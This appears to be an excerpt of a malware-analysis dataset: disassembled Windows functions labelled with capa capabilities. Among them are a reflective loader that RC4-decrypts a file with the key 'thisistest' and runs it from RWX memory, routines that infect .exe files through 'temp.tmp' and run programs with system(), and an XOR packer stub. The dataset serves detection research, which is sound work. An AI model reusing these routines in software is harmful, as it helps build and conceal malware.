joyce8/EMBER2024-capa huggingface dataset:
Function at 0x476f00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x34
push ebx
mov ebx, dword [esp + 0x3c]
push ebp
push esi
push edi
mov edi, dword [esp + 0x58]
xor ebp, ebp
cmp edi, ebp
mov dword [esp + 0x10], ebp
jne 0x476f5f
push ebp
push 0x10000
lea eax, [esp + 0x1c]
push eax
push ebx
call fcn.00477120
add esp, 0x10
cmp eax, 0xffffff80
jne 0x476f44
cmp edx, 0xffffffff
jne 0x476f44
pop edi
pop esi
pop ebp
mov eax, 0xffffff80
pop ebx
add esp, 0x34
ret
cmp edx, ebp
jg 0x476f5b
jl 0x476f4e
cmp eax, ebp
jae 0x476f5b
pop edi
pop esi
pop ebp
mov eax, 0xffffff7c
pop ebx
add esp, 0x34
ret
lea edi, [esp + 0x14]
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.00469e50
mov edx, dword [esp + 0x54]
push edx
call fcn.00469da0
add esp, 8
push edi
call fcn.004692c0
add esp, 4
test eax, eax
je 0x476fef
push edi
lea esi, [ebx + 0x78]
call fcn.004693c0
push eax
push esi
call fcn.00469c10
push edi
push esi
call fcn.004698a0
lea eax, [esp + 0x38]
push eax
push esi
call fcn.00469c30
add esp, 0x1c
test eax, eax
jle 0x476fbd
lea ecx, [esp + 0x24]
push ecx
call fcn.00469ff0
add esp, 4
test eax, eax
jne 0x47701c
push ebp
push 0x10000
push edi
push ebx
call fcn.00477120
add esp, 0x10
cmp eax, 0xffffff80
jne 0x476fdb
cmp edx, 0xffffffff
je 0x476f37
cmp edx, ebp
jl 0x476f4e
jg 0x476f76
cmp eax, ebp
jb 0x476f4e
jmp 0x476f76
mov esi, 0xffffff7c
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.00469e80
mov edx, dword [esp + 0x54]
push edx
call fcn.00469dc0
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebp
mov dword [ebx + 0x58], 2
pop ebx
add esp, 0x34
ret
mov eax, dword [esp + 0x54]
cmp eax, ebp
je 0x47702c
mov edx, dword [ebx + 0x1c8]
mov dword [eax], edx
mov ecx, dword [esp + 0x50]
mov edx, dword [esp + 0x4c]
lea eax, [esp + 0x24]
push eax
push ecx
push edx
mov dword [ebx + 0x58], 3
call fcn.0046a0a0
mov esi, eax
add esp, 0xc
cmp esi, ebp
jne 0x476ff4
cmp ebp, 2
jge 0x47710d
lea eax, [esp + 0x24]
push eax
lea eax, [ebx + 0x78]
push eax
call fcn.00469c30
add esp, 8
test eax, eax
je 0x4770a0
cmp eax, 0xffffffff
je 0x477103
mov edx, dword [esp + 0x50]
mov eax, dword [esp + 0x4c]
lea ecx, [esp + 0x24]
push ecx
push edx
push eax
call fcn.0046a0a0
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x476ff4
inc ebp
cmp ebp, 2
jge 0x47710d
jmp 0x477059
cmp ebp, 2
jge 0x47710d
push 0
push 0x10000
push edi
push ebx
call fcn.00477120
add esp, 0x10
test edx, edx
jl 0x477103
jg 0x4770c0
test eax, eax
jb 0x477103
push edi
call fcn.004693c0
mov ecx, dword [ebx + 0x1c8]
add esp, 4
cmp ecx, eax
push edi
je 0x4770f2
call fcn.004692c0
add esp, 4
test eax, eax
je 0x4770a5
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x477103
mov dword [esp + 0x10], 1
jmp 0x4770a5
lea eax, [ebx + 0x78]
push eax
call fcn.004698a0
add esp, 8
jmp 0x477050
mov esi, 0xffffff7b
jmp 0x476ff4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x34
ret
Function at 0x44fb8e
Capabilities:
Terminate process

Disassembly:
jmp 0x4a18ee
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4a18ff
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004524b5
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x44fd19
Capabilities:
Query environment variable

Disassembly:
jmp 0x4e0df2
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4e0e06
xor edi, edi
jmp 0x4e0e3d
push ebx
push esi
call fcn.004e0cfc
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00450778
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4e0e2d
push ebx
push esi
push edi
call fcn.00452230
add esp, 0xc
push 0
call fcn.00452fb9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x452311
Capabilities:
Parse pe header

Disassembly:
jmp 0x49068f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4906ce
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4906ce
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4906ce
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4906ce
cmp dword [ecx + 0x74], 0xe
jbe 0x4906ce
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x45262c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
jmp 0x467b10
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x729cc8], eax
pop edi
pop esi
ret
Function at 0x4015cc
Capabilities:
Read file on windows

Disassembly:
push esi
push ebx
sub esp, 0x24
mov dword [esp + 4], 0x404038
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
mov dword [esp + 8], 0
mov eax, dword [0x403008]
add eax, 3
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 4
mov dword [esp + 4], 1
lea esi, [esp + 0x1d]
mov dword [esp], esi
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, dword [section..data]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcmp
test eax, eax
setne al
add esp, 0x24
pop ebx
pop esi
ret

Function at 0x401648
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [esp + 0x54]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov edi, eax
mov eax, dword [esp + 0x58]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebp, eax
mov dword [esp + 8], 0
mov eax, dword [esp + 0x48]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msvcrt.dll_fseek
mov dword [esp + 8], 0
mov eax, dword [esp + 0x4c]
mov dword [esp + 4], eax
mov dword [esp], ebp
call sub.msvcrt.dll_fseek
mov ecx, dword [esp + 0x50]
test ecx, ecx
jle 0x4016fb
xor ebx, ebx
lea esi, [esp + 0x1f]
lea esi, [esi]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
inc ebx
cmp ebx, dword [esp + 0x50]
jne 0x4016bc
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebp
call sub.msvcrt.dll_fclose
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40184c
Capabilities:
Delete file
Move file

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov ebx, dword [esp + 0x30]
mov dword [esp], ebx
call fcn.0040158c
test al, al
je 0x401940
mov dword [esp], 0x404093
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp], 0x4040a4
call fcn.00401418
mov dword [esp], ebx
call fcn.00401764
mov dword [esp], ebx
call fcn.00401714
mov edi, eax
mov esi, dword [0x403004]
mov dword [esp], ebx
call fcn.004015cc
test al, al
je 0x4018c0
mov dword [esp + 0x30], 0x404106
add esp, 0x20
pop ebx
pop esi
pop edi
jmp fcn.00401470
mov dword [esp], 0x4040c3
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp + 0x18], 0x4040d2
mov dword [esp + 0x14], 0x4040d5
sub edi, esi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0
mov eax, dword [0x403004]
mov dword [esp + 8], eax
mov dword [esp + 4], str.temp.tmp
mov dword [esp], ebx
call fcn.00401648
mov dword [esp], ebx
call fcn.004026c0
mov dword [esp + 4], ebx
mov dword [esp], str.temp.tmp
call sub.msvcrt.dll_rename
mov dword [esp], 0x4040e4
call fcn.00401418
mov dword [esp + 0x30], ebx
add esp, 0x20
pop ebx
pop esi
pop edi
jmp fcn.00401764
mov dword [esp + 0x30], 0x40407f
add esp, 0x20
pop ebx
pop esi
pop edi
jmp fcn.004013c0
Function at 0x4019d0
Capabilities:
Delete file
Move file

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [esp + 0x30]
mov dword [esp], ebx
call fcn.0040158c
test al, al
je 0x401af4
mov dword [esp], 0x404093
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp], 0x404148
call fcn.00401418
mov dword [esp], ebx
call fcn.00401764
mov dword [esp], ebx
call fcn.004015cc
test al, al
jne 0x401a30
mov dword [esp + 0x30], 0x4041a4
add esp, 0x28
pop ebx
jmp fcn.004013c0
mov dword [esp], 0x404169
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp + 4], str.temp.tmp
mov dword [esp], ebx
call sub.msvcrt.dll_rename
mov dword [esp + 0x18], 0x4040d2
mov dword [esp + 0x14], 0x4040d5
mov eax, dword [0x403004]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x406040
call fcn.00401648
mov dword [esp], str.temp.tmp
call fcn.00401714
mov dword [esp + 0x18], 0x40417a
mov dword [esp + 0x14], 0x4040d5
mov dword [esp + 0x10], eax
mov eax, dword [0x403004]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], str.temp.tmp
call fcn.00401648
mov dword [esp], str.temp.tmp
call fcn.004026c0
mov dword [esp], 0x404180
call fcn.00401418
mov dword [esp + 0x30], ebx
add esp, 0x28
pop ebx
jmp fcn.00401764
mov dword [esp + 0x30], 0x40407f
add esp, 0x28
pop ebx
jmp fcn.004013c0

Function at 0x401b08
Capabilities:
Delete file
Execute command

Disassembly:
push esi
push ebx
sub esp, 0x24
mov ebx, dword [esp + 0x30]
mov dword [esp], ebx
call fcn.0040158c
test al, al
jne 0x401bc8
mov dword [esp], 0x406040
call fcn.00401714
mov esi, eax
sub esi, dword [0x403004]
jne 0x401b40
add esp, 0x24
pop ebx
pop esi
ret
mov dword [esp], 0x4041d4
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp + 0x18], 0x4040d2
mov dword [esp + 0x14], 0x4040d5
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov eax, dword [0x403004]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x406040
call fcn.00401648
mov dword [esp], 0x4041f3
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp], ebx
call sub.msvcrt.dll_system
mov dword [esp], 0x4041fb
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp + 0x30], ebx
add esp, 0x24
pop ebx
pop esi
jmp fcn.004026c0
mov dword [esp + 0x30], 0x4041b5
add esp, 0x24
pop ebx
pop esi
jmp fcn.00401418
Function at 0x401bdc
Capabilities:
Enumerate files on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x160
mov al, byte [esp + 0x170]
mov byte [esp + 0x1f], al
mov dword [esp], 0x404205
call fcn.00401444
cmp byte [esp + 0x1f], 0
jne 0x401c9c
mov dword [esp], 0x404222
call fcn.00401418
lea edi, [esp + 0x20]
mov dword [esp + 4], edi
mov dword [esp], str..exe
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov esi, eax
lea ebx, [esp + 0x4c]
cmp eax, 0xffffffff
jne 0x401c54
jmp 0x401cad
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401c7c
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
je 0x401c88
mov eax, dword [0x406020]
cmp byte [esp + 0x1f], 0
mov dword [esp + 4], eax
mov dword [esp], ebx
je 0x401c38
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401c41
mov dword [esp], ebx
call fcn.0040184c
jmp 0x401c41
mov dword [esp], ebx
call fcn.004019d0
jmp 0x401c41
mov dword [esp], esi
call sub.KERNEL32.dll_FindClose
push ebx
add esp, 0x160
pop ebx
pop esi
pop edi
ret
mov dword [esp], 0x404230
call fcn.00401418
jmp 0x401c13
mov dword [esp], 0x404242
call fcn.004013c0
mov dword [esp], 0xffffffff
call sub.KERNEL32.dll_FindClose
push esi
jmp 0x401c91
Function at 0x401cc8
Capabilities:
Delete file
Enumerate files on windows
Move file

Disassembly:
sub esp, 0x1c
mov dword [esp], 0x404024
call fcn.004013c0
mov dword [esp + 4], 7
mov dword [esp], 0
call fcn.00401334
add esp, 0x1c
ret
push ebx
sub esp, 0x28
mov ebx, dword [esp + 0x30]
mov dword [esp], ebx
call fcn.0040158c
test al, al
jne 0x4019bc
mov dword [esp], 0x40412b
call fcn.00401444
mov dword [esp], ebx
call fcn.00401418
mov dword [esp + 0x18], 0x4040d2
mov dword [esp + 0x14], 0x4040d5
mov eax, dword [0x403004]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x406040
call fcn.00401648
add esp, 0x28
pop ebx
ret
mov dword [esp + 0x30], 0x404116
add esp, 0x28
pop ebx
jmp fcn.004013c0
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
mov eax, dword [ebx + 4]
cmp byte [eax], 0x2f
je 0x401ce8
add esp, 0x14
pop ebx
pop esi
jmp 0x401564
mov al, byte [eax + 1]
cmp al, 0x65
je 0x401dd8
jle 0x401d1c
cmp al, 0x69
je 0x401dc0
cmp al, 0x75
jne 0x401cdd
cmp esi, 2
je 0x401df0
mov eax, dword [ebx + 8]
mov dword [esp + 0x20], eax
add esp, 0x14
pop ebx
pop esi
jmp fcn.0040184c
cmp al, 0x3f
je 0x401d58
cmp al, 0x63
jne 0x401cdd
mov dword [esp], 0x40445e
call fcn.00401444
cmp esi, 2
je 0x401e2c
mov eax, dword [ebx + 8]
mov dword [esp], eax
call fcn.00401418
mov eax, dword [ebx + 8]
mov dword [esp + 0x20], eax
add esp, 0x14
pop ebx
pop esi
jmp fcn.00401764
mov dword [esp], 0x40424f
call fcn.00401368
mov dword [esp], str._i__
call fcn.00401368
mov dword [esp], str._u__
call fcn.00401368
mov dword [esp], str._e__
call fcn.00401368
mov dword [esp], str._c__
call fcn.00401368
mov dword [esp], 0x4043e3
call fcn.00401368
mov dword [esp], 0x4043f2
call fcn.004013ec
mov dword [esp + 0x20], 0x4043fc
add esp, 0x14
pop ebx
pop esi
jmp fcn.00401368
cmp esi, 2
je 0x401e18
mov eax, dword [ebx + 8]
mov dword [esp + 0x20], eax
add esp, 0x14
pop ebx
pop esi
jmp fcn.004019d0
cmp esi, 2
je 0x401e04
mov eax, dword [ebx + 8]
mov dword [esp + 0x20], eax
add esp, 0x14
pop ebx
pop esi
jmp 0x401954
mov dword [esp + 0x20], 1
add esp, 0x14
pop ebx
pop esi
jmp fcn.00401bdc
mov dword [esp + 0x20], str.extracted.exe
add esp, 0x14
pop ebx
pop esi
jmp 0x401954
mov dword [esp + 0x20], 0
add esp, 0x14
pop ebx
pop esi
jmp fcn.00401bdc
mov dword [esp], 0x406040
call fcn.00401418
mov dword [esp + 0x20], 0x406040
add esp, 0x14
pop ebx
pop esi
jmp fcn.00401764

Function at 0x402030
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]
Function at 0x402090
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402186
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x402100
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x4020d5
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x4020e5
cmp byte [esp + 0x1e], 0
je 0x4020e5
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x4020e5
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402030
nop

Function at 0x402420
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x406288
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x4062a0]
sub esp, 4
test ebx, ebx
je 0x40246b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x402464
test esi, esi
je 0x402464
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402440
mov dword [esp], 0x406288
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
xor eax, eax
nop word [eax + eax]
mov byte [ebp + eax - 0x108], al
inc eax
cmp eax, 0x100
jl 0x401020
xor esi, esi
xor edx, edx
mov bl, byte [ebp + esi - 0x108]
mov eax, esi
movzx ecx, bl
div dword [ebp + 0xc]
movzx eax, byte [edx + str.thisistest]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x40105d
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x108]
mov byte [ebp + esi - 0x108], al
inc esi
mov byte [ebp + edi - 0x108], bl
cmp esi, 0x100
jl 0x401031
xor ebx, ebx
xor edi, edi
xor esi, esi
cmp dword [ebp - 4], ebx
jbe 0x4010ed
inc esi
and esi, 0x800000ff
jns 0x401097
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [ebp + esi - 0x108]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x4010b3
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x108]
mov byte [ebp + esi - 0x108], al
mov byte [ebp + edi - 0x108], dl
movzx ecx, byte [ebp + esi - 0x108]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x108]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x401086
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401100
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x404004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
push 4
push 0x3000
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
push dword [edi + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jne 0x40114c
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401335
mov esp, ebp
pop ebp
ret
push dword [edi + 0x54]
push esi
push ebx
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [ebp - 0x10]
xor eax, eax
add esp, 0xc
xor edi, edi
cmp ax, word [esi + 6]
jae 0x401199
add esi, 0x10c
nop dword [eax]
push dword [esi - 4]
mov eax, dword [esi]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi - 8]
add eax, ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x10]
lea esi, [esi + 0x28]
inc edi
add esp, 0xc
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x401170
mov esi, dword [ebp - 0x10]
cmp dword [esi + 0xa4], 0
jbe 0x401215
mov edi, dword [esi + 0xa0]
mov eax, ebx
sub eax, dword [esi + 0x34]
add edi, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [edi]
test eax, eax
je 0x401215
mov esi, dword [edi + 4]
add eax, ebx
mov dword [ebp - 0xc], eax
sub esi, 8
shr esi, 1
lea eax, [edi + 4]
mov dword [ebp - 0x14], eax
mov ecx, 0
je 0x40120a
mov ebx, dword [ebp - 0xc]
nop word [eax + eax]
movzx edx, word [edi + ecx*2 + 8]
mov eax, edx
and eax, 0xf000
cmp eax, 0x3000
jne 0x4011ff
mov eax, dword [ebp - 0x18]
and edx, 0xfff
add dword [edx + ebx], eax
inc ecx
cmp ecx, esi
jl 0x4011e0
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
add edi, dword [eax]
mov eax, dword [edi]
test eax, eax
jne 0x4011b8
mov esi, dword [ebp - 0x10]
cmp dword [esi + 0x84], 0
jbe 0x40127a
mov edi, dword [esi + 0x80]
add edi, 0xc
add edi, ebx
mov dword [ebp - 0xc], edi
cmp dword [edi], 0
je 0x40127a
mov eax, dword [edi]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [edi + 4]
add esi, ebx
mov dword [ebp - 0x14], eax
cmp dword [esi], 0
je 0x40126c
mov edi, eax
nop dword [eax + eax]
mov eax, dword [esi]
add eax, 2
add eax, ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
lea esi, [esi + 4]
cmp dword [esi], 0
jne 0x401250
mov edi, dword [ebp - 0xc]
add edi, 0x14
mov dword [ebp - 0xc], edi
cmp dword [edi], 0
jne 0x401231
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [esi + 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x28]
mov ecx, dword [ebp - 4]
add eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401335
mov esp, ebp
pop ebp
ret
Function at 0x4012a0
Capabilities:
Read file on windows

Disassembly:
push ebx
push 0x4031b8
push str.7895.log
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4012cd
push str.Failed_to_open_file
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
add esp, 4
lea eax, [ebx + 1]
pop ebx
ret
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push edi
push 2
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
push edi
call fcn.00401346
push ebx
push edi
mov esi, eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x30
mov edx, edi
push 0xa
push ecx
mov ecx, esi
call section..text
add esp, 8
mov ecx, esi
call fcn.00401100
test eax, eax
je 0x40131e
call eax
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ed0
mov ecx, 0x248700ce
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x17e72e0a
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219